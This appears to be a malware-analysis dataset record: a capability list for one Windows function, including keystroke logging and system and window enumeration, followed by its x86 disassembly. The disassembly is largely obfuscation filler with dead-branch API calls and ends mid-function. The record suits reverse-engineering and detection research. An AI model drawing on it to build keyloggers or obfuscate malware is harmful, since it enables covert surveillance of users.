Function at 0x1002ece6
Capabilities:
Check os version
Compare security identifiers
Create process on windows
Enumerate gui resources
Extract resource via kernel32 functions
Get common file path
Get disk information
Get disk size
Get graphical window text
Log keystrokes
Log keystrokes via polling
Query service status

Disassembly:
mov eax, 0x10085bb6
call fcn.10085568
mov eax, 0x124c
call fcn.1006e5b0
push ebx
push esi
xor esi, esi
mov dword [ebp - 0x68], ecx
inc esi
mov byte [ebp - 0x79], dl
mov dword [ebp - 0x58], esi
mov ebx, 0xebf0
push edi
mov edi, 0x56915a13
mov ecx, 0x80eec299
mov dword [ebp - 0x58], edi
mov edx, 0xc4dd
mov dword [ebp - 0x58], ebx
xor eax, eax
mov dword [ebp - 0x58], ecx
mov dword [ebp - 0x2c], edx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
jge 0x1002ed4b
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbf4], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], esi
jl 0x1002ed33
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], esi
mov esi, 0x28f6c74a
jge 0x1002ed74
xor edi, edi
inc edi
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc00], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edi
jl 0x1002ed5b
xor eax, eax
mov edi, 0x56915a13
inc dword [ebp - 0x2c]
mov dword [ebp - 0x58], 1
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x58], ecx
xor ecx, ecx
mov dword [ebp - 0x2c], edx
inc ecx
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002edad
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc0c], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002ed95
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002edc9
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc18], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002edb5
xor eax, eax
inc dword [ebp - 0x2c]
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0x252cb136
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 0xa862252
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
xor eax, eax
push 2
pop edx
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x16
push 0xffffffffffffffff
pop esi
mov dword [ebp - 0x58], 5
je 0x1002eff1
xor ebx, ebx
inc ebx
mov dword [ebp - 0x54], 0xc295a527
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002ee35
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x244], 0x129b8575
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002ee1c
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], edx
jge 0x1002ee51
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xbc0], esi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002ee3d
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 7
jle 0x1002eef6
mov dword [ebp - 0x2c], 9
mov edx, ebx
mov dword [ebp - 0x54], 0xfffffffe
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x23c], eax
jne 0x1002ee80
mov edx, eax
mov eax, dword [ebp - 0x23c]
xor ecx, ecx
cmp eax, 0x7dcd
setg cl
xor eax, eax
sub edx, ecx
je 0x1002eea0
mov ecx, ebx
cmp dword [ebp - 0x23c], eax
jne 0x1002eea2
mov ecx, eax
mov eax, dword [ebp - 0x54]
xor edx, edx
add ecx, 0x8319
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
sub eax, edx
cmp eax, dword [ebp - 0x44]
jne 0x1002eec2
mov eax, dword [ebp - 0x244]
mov eax, dword [ebp - 0x240]
mov eax, dword [ebp - 0x23c]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
add ecx, 8
mov dword [ebp - 0x54], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jg 0x1002ee5e
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe6
je 0x1002efd9
mov dword [ebp - 0x2c], 0x96f77d90
mov dword [ebp - 0x38], 0xe0c42ef3
cmp dword [ebp - 0x244], eax
jne 0x1002ef23
mov edx, eax
cmp dword [ebp - 0x23c], eax
je 0x1002ef25
mov edx, ebx
mov eax, dword [ebp - 0x23c]
mov ecx, 0x11771b70
sub ecx, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x54]
xor edx, edx
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp dword [ebp - 0x10], ecx
jl 0x1002efba
mov dword [ebp - 0x4c], 0x84865e5a
cmp dword [ebp - 0x2c], eax
je 0x1002ef7e
mov dword [ebp - 0x38], 0xab95
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002ef7c
mov eax, ebx
jmp 0x1002ef7e
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
neg edx
sbb edx, edx
sub ecx, 5
neg edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
mov ecx, dword [ebp - 0xbbc]
setle al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
jmp 0x1002efc9
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002efc9
push eax
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
push 0
pop eax
jne 0x1002ef03
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x16
push 2
pop edx
jne 0x1002ee0c
xor ecx, ecx
mov ebx, 0xebf0
inc ecx
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x3c], 0x73eb905d
mov dword [ebp - 0x2c], 0x3111738a
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x2c], 0xe81720d7
mov dword [ebp - 0x38], 0x6d6dbc1c
mov dword [ebp - 0x34], esi
push 0xfffffffffffffff8
pop esi
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x10], eax
jmp 0x1002f03c
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x95c], 0xae4f78d7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002f02b
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1002f055
mov eax, dword [ebp - 0x95c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], eax
jle 0x1002f06a
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002f06c
mov eax, ecx
inc dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
sub edx, eax
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0x95c], ecx
test ecx, ecx
je 0x1002f09b
mov eax, dword [ebp - 0x95c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x34]
jl 0x1002f0cf
xor eax, eax
cmp dword [ebp - 0x95c], eax
je 0x1002f0d1
lea ecx, [eax + 1]
jmp 0x1002f0d3
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0x526d2e85
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x10], 0x75b57fd5
mov dword [ebp - 0x10], esi
cmp dword [ebp - 0x10], 6
mov esi, dword [sym.imp.USER32.dll_GetDesktopWindow]
jg 0x1002f153
or edi, 0xffffffff
mov dword [ebp - 0x44], 4
xor eax, eax
mov dword [ebp - 0x4c], 0xf9d78659
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002f13f
push eax
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
jle 0x1002f11c
mov edi, 0x56915a13
xor ecx, ecx
mov dword [ebp - 0x30], ebx
inc ecx
xor eax, eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0xaec2b2a8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f187
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x116c], 0xf825
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f16e
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop edx
cmp dword [ebp - 0x1c], edx
jge 0x1002f1a6
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xfa0], ecx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], edx
jl 0x1002f192
xor eax, eax
mov dword [ebp - 0x2c], 0xd65121ac
inc dword [ebp - 0x2c]
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f1c6
push eax
push eax
call dword [sym.imp.USER32.dll_LoadMenuW]
push 2
xor eax, eax
pop edx
mov dword [ebp - 0x30], 0x80eec299
or ecx, 0xffffffff
mov dword [ebp - 0x38], 0xc4dd
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0x51d69f42
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x30], 0xa1836ccb
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0xe4b28306
mov dword [ebp - 0x2c], 0xe6b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], edx
jge 0x1002f223
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf48], 0x327439cb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jl 0x1002f20b
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f249
push eax
push 0xa40
push 0x1408
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
xor eax, eax
dec dword [ebp - 0x2c]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
inc ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002f26f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc24], 0
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f257
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002f28f
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xc2c], 0x28f6c74a
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f277
xor eax, eax
inc dword [ebp - 0x38]
push 3
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002f2b5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x28c], 0xfffffffc
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f29d
xor eax, eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], ecx
jge 0x1002f2d5
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x91c], 0x9849b76e
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f2bd
xor eax, eax
mov dword [ebp - 0x288], eax
cmp dword [ebp - 0x288], 0xfffffff7
jg 0x1002f3ff
or edi, 0xffffffff
mov dword [ebp - 0x54], 0xc4d1454b
xor edx, edx
mov dword [ebp - 0x30], 0xfffffffe
mov dword [ebp - 0x38], 0x16e289aa
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp - 0x288]
mov eax, dword [ebp - 0x54]
mov ecx, dword [ebp - 0x914]
mov eax, dword [ebp - 0x914]
cmp ecx, eax
mov eax, dword [ebp - 0x284]
setle dl
cmp edx, 0xfffc
sbb ecx, ecx
xor ebx, ebx
neg ecx
cmp eax, ecx
mov eax, dword [ebp - 0x54]
setl bl
xor edx, edx
cmp ebx, eax
mov eax, dword [ebp - 0x288]
sete dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x54]
setl cl
xor edx, edx
cmp ecx, 0x2afa
setge dl
imul eax, edx
test eax, eax
je 0x1002f3bc
mov dword [ebp - 0x2c], 0x1320
xor edx, edx
mov dword [ebp - 0x44], 4
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x914]
mov ecx, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp ecx, eax
setge dl
xor eax, eax
sub edx, 7
je 0x1002f3a2
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002f3b1
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CompareFileTime]
jmp 0x1002f3b1
mov dword [ebp - 0x30], 0x5faf
dec dword [ebp - 0x38]
cmp dword [ebp - 0x2c], eax
jne 0x1002f3f3
mov eax, dword [ebp - 0x288]
mov dword [ebp - 0x44], eax
jmp 0x1002f3c6
mov dword [ebp - 0x44], 0xc7e12fd8
mov dword [ebp - 0x44], edi
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002f3e0
push eax
push eax
push 0x689
call esi
push eax
call dword [sym.imp.USER32.dll_DefWindowProcA]
dec dword [ebp - 0x288]
cmp dword [ebp - 0x288], 0xfffffff7
jle 0x1002f2eb
xor eax, eax
mov edi, 0x56915a13
mov ebx, 0xebf0
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f410
call dword [sym.imp.KERNEL32.dll_GetLastError]
xor eax, eax
mov dword [ebp - 0x3c], eax
mov dword [ebp - 0x20], 0x252cb136
mov dword [ebp - 0x10], 0xfffffff6
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x2c], 0xa862252
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x20], eax
xor eax, eax
mov dword [ebp - 0x3c], eax
cmp dword [ebp - 0x3c], 0x16
je 0x1002f628
xor edi, edi
inc edi
mov dword [ebp - 0x54], 0xc295a527
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f46c
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x25c], 0x129b8575
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f453
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002f48e
or edx, 0xffffffff
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xcdc], edx
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f47a
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 7
jle 0x1002f533
mov dword [ebp - 0x2c], 9
mov edx, edi
mov dword [ebp - 0x54], 0xfffffffe
mov eax, dword [ebp - 0x2c]
dec dword [ebp - 0x2c]
xor eax, eax
cmp dword [ebp - 0x254], eax
jne 0x1002f4bd
mov edx, eax
mov eax, dword [ebp - 0x254]
xor ecx, ecx
cmp eax, 0x7dcd
setg cl
xor eax, eax
sub edx, ecx
je 0x1002f4dd
mov ecx, edi
cmp dword [ebp - 0x254], eax
jne 0x1002f4df
mov ecx, eax
mov eax, dword [ebp - 0x54]
xor edx, edx
add ecx, 0x8319
cmp ecx, eax
mov eax, dword [ebp - 0x54]
setne dl
sub eax, edx
cmp eax, dword [ebp - 0x44]
jne 0x1002f4ff
mov eax, dword [ebp - 0x25c]
mov eax, dword [ebp - 0x258]
mov eax, dword [ebp - 0x254]
mov edx, dword [ebp - 0x54]
mov eax, dword [ebp - 0x54]
inc edx
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setne cl
add ecx, 8
mov dword [ebp - 0x54], ecx
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], 7
jg 0x1002f49b
xor eax, eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0xffffffe6
je 0x1002f616
mov dword [ebp - 0x2c], 0x96f77d90
mov dword [ebp - 0x38], 0xe0c42ef3
cmp dword [ebp - 0x25c], eax
jne 0x1002f560
mov edx, eax
cmp dword [ebp - 0x254], eax
je 0x1002f562
mov edx, edi
mov eax, dword [ebp - 0x254]
mov ecx, 0x11771b70
sub ecx, edx
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 0x54]
xor edx, edx
cmp ecx, eax
setge dl
sub edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
xor eax, eax
cmp dword [ebp - 0x10], ecx
jl 0x1002f5f7
mov dword [ebp - 0x4c], 0x84865e5a
cmp dword [ebp - 0x2c], eax
je 0x1002f5bb
mov dword [ebp - 0x38], 0xab95
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x10]
xor eax, eax
cmp dword [ebp - 0x20], eax
je 0x1002f5b9
mov eax, edi
jmp 0x1002f5bb
xor eax, eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x54]
mov edx, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x10]
neg edx
sbb edx, edx
sub ecx, 5
neg edx
neg ecx
sbb ecx, ecx
xor eax, eax
inc ecx
cmp ecx, edx
mov ecx, dword [ebp - 0xcd8]
setle al
sub ecx, eax
neg ecx
sbb ecx, ecx
inc ecx
mov dword [ebp - 0x10], ecx
jmp 0x1002f606
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002f606
push eax
call dword [sym.imp.GDI32.dll_CreateBrushIndirect]
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xffffffe6
push 0
pop eax
jne 0x1002f540
inc dword [ebp - 0x3c]
cmp dword [ebp - 0x3c], 0x16
jne 0x1002f443
mov edi, 0x56915a13
xor ecx, ecx
inc ecx
or edx, 0xffffffff
mov dword [ebp - 0x30], ecx
mov dword [ebp - 0x3c], 0x73eb905d
mov dword [ebp - 0x2c], 0x3111738a
mov dword [ebp - 0x28], 5
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x2c], 0xe81720d7
mov dword [ebp - 0x38], 0x6d6dbc1c
mov dword [ebp - 0x34], edx
mov dword [ebp - 0x2c], 0xfffffff8
mov dword [ebp - 0x10], eax
jmp 0x1002f677
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xa6c], 0xae4f78d7
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 4
jl 0x1002f666
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x3c]
xor eax, eax
cmp dword [ebp - 0x3c], eax
jne 0x1002f690
mov eax, dword [ebp - 0xa6c]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x28], eax
jle 0x1002f6a5
xor eax, eax
cmp dword [ebp - 0x34], eax
je 0x1002f6a7
mov eax, ecx
inc dword [ebp - 0x2c]
mov edx, dword [ebp - 0x2c]
sub edx, eax
neg edx
sbb edx, edx
inc edx
sub edx, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
cmp edx, eax
setge cl
mov dword [ebp - 0xa6c], ecx
test ecx, ecx
je 0x1002f6d6
mov eax, dword [ebp - 0xa6c]
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x54]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
sub eax, dword [ebp - 0x54]
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
add eax, dword [ebp - 0x54]
cmp eax, dword [ebp - 0x34]
jl 0x1002f70a
xor eax, eax
cmp dword [ebp - 0xa6c], eax
je 0x1002f70c
lea ecx, [eax + 1]
jmp 0x1002f70e
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x3c]
mov dword [ebp - 0x2c], eax
sub ecx, dword [ebp - 0x34]
mov dword [ebp - 0x34], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x34]
cmp eax, 0x526d2e85
mov eax, dword [ebp - 0x2c]
setle cl
xor edx, edx
cmp eax, ecx
mov eax, dword [ebp - 0x3c]
setge dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x10], 0x75b57fd5
mov dword [ebp - 0x10], 0xfffffff8
cmp dword [ebp - 0x10], 6
jg 0x1002f78f
or ebx, 0xffffffff
mov dword [ebp - 0x44], 4
xor eax, eax
mov dword [ebp - 0x4c], 0xf9d78659
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], al
je 0x1002f77b
push eax
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_InvalidateRect]
mov eax, dword [ebp - 0x44]
mov dword [ebp - 0x4c], ebx
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], 6
jle 0x1002f758
mov ebx, 0xebf0
xor edi, edi
xor eax, eax
inc edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x30], 0xaec2b2a8
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 3
jge 0x1002f7c0
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0x1190], 0xf825
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 3
jl 0x1002f7a7
xor eax, eax
push 2
mov dword [ebp - 0x1c], eax
pop ecx
cmp dword [ebp - 0x1c], ecx
jge 0x1002f7df
mov eax, dword [ebp - 0x1c]
mov dword [ebp + eax*4 - 0xf58], edi
inc dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], ecx
jl 0x1002f7cb
xor eax, eax
mov dword [ebp - 0x2c], 0xd65121ac
inc dword [ebp - 0x2c]
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f7ff
push eax
push eax
call dword [sym.imp.USER32.dll_LoadMenuW]
push 2
xor eax, eax
pop ecx
mov dword [ebp - 0x30], ebx
or ebx, 0xffffffff
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0x51d69f42
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x30], 0xa1836ccb
mov dword [ebp - 0x30], 0xfffffffa
mov dword [ebp - 0x30], 0xe4b28306
mov dword [ebp - 0x2c], 0xe6b
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ecx
jge 0x1002f851
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0xf68], 0x327439cb
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ecx
jl 0x1002f839
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f877
push eax
push 0xa40
push 0x1408
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetSystemPaletteEntries]
xor eax, eax
dec dword [ebp - 0x2c]
mov dword [ebp - 0x30], 0x80eec299
mov dword [ebp - 0x14], 5
mov dword [ebp - 0x2c], 0x14d2edc7
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x38], edi
mov dword [ebp - 0x2c], 0xbc1b0fe2
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x44], 0xfffffffb
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x30], 4
mov dword [ebp - 0x30], 0xba09a164
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x28], 0xe20eeb49
push 3
mov dword [ebp - 0x10], eax
pop ebx
cmp dword [ebp - 0x10], ebx
jge 0x1002f8e0
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x11b4], edi
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002f8cc
xor eax, eax
cmp dword [ebp - 0x14], eax
je 0x1002f8e8
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x38], edi
mov ecx, dword [ebp - 0x38]
mov eax, dword [ebp - 0x2c]
neg ecx
cmp ecx, eax
setg dl
xor eax, eax
add edx, 0xb66e
cmp edx, 0x1b7e
setg al
mov dword [ebp - 0x54], eax
mov eax, dword [ebp - 0x54]
cmp dword [ebp - 0x10], eax
jle 0x1002f939
xor eax, eax
cmp dword [ebp - 0x38], eax
je 0x1002f93b
mov ecx, edi
jmp 0x1002f93d
xor eax, eax
mov ecx, eax
mov eax, dword [ebp - 0x14]
neg ecx
neg eax
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x14]
sub ecx, eax
mov eax, dword [ebp - 0x2c]
neg ecx
push 2
sbb ecx, ecx
inc ecx
sub eax, ecx
mov dword [ebp - 0x44], eax
xor eax, eax
dec dword [ebp - 0x28]
mov dword [ebp - 0x54], 0xc4dd
mov dword [ebp - 0x10], 9
mov dword [ebp - 0x10], eax
pop edi
cmp dword [ebp - 0x10], edi
jge 0x1002f98f
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x36c], 0xfffe
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edi
jl 0x1002f977
xor eax, eax
mov byte [ebp - 0x15], al
cmp byte [ebp - 0x15], 0
je 0x1002f9b7
push 0x1013
push eax
push eax
push 0x24f8
push eax
call esi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_CreateDIBitmap]
xor eax, eax
xor esi, esi
mov dword [ebp - 0x10], 6
inc esi
cmp dword [ebp - 0x10], 0xffffffe8
jg 0x1002fa51
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
cmp dword [ebp - 0x14], eax
jl 0x1002fa49
or eax, 0xffffffff
mov dword [ebp - 0x2c], 0x8d46758e
mov dword [ebp - 0x44], eax
xor edx, edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x36c]
mov eax, dword [ebp - 0x36c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x36c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x36c]
cmp eax, esi
mov eax, dword [ebp - 0x14]
sete dl
xor ecx, ecx
cmp eax, 0x7d1afd06
setl cl
sub edx, ecx
mov ecx, 0x920a6ff6
sub edx, 0x5cb2f096
mov dword [ebp - 0x2c], edx
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp + eax*4 - 0x36c]
imul eax, dword [ebp - 0x2c]
cmp ecx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x44], eax
dec dword [ebp - 0x14]
jns 0x1002f9d6
xor eax, eax
dec dword [ebp - 0x10]
jmp 0x1002f9c1
mov dword [ebp - 0x3c], 0xa61928c1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], ebx
jge 0x1002fa78
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x8f8], 0x16f93bd5
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jl 0x1002fa60
xor eax, eax
mov dword [ebp - 0x3c], eax
jmp 0x1002fbeb
mov dword [ebp - 0x14], 0xfffffff8
mov dword [ebp - 0x2c], 0x81c1d99e
mov dword [ebp - 0x38], esi
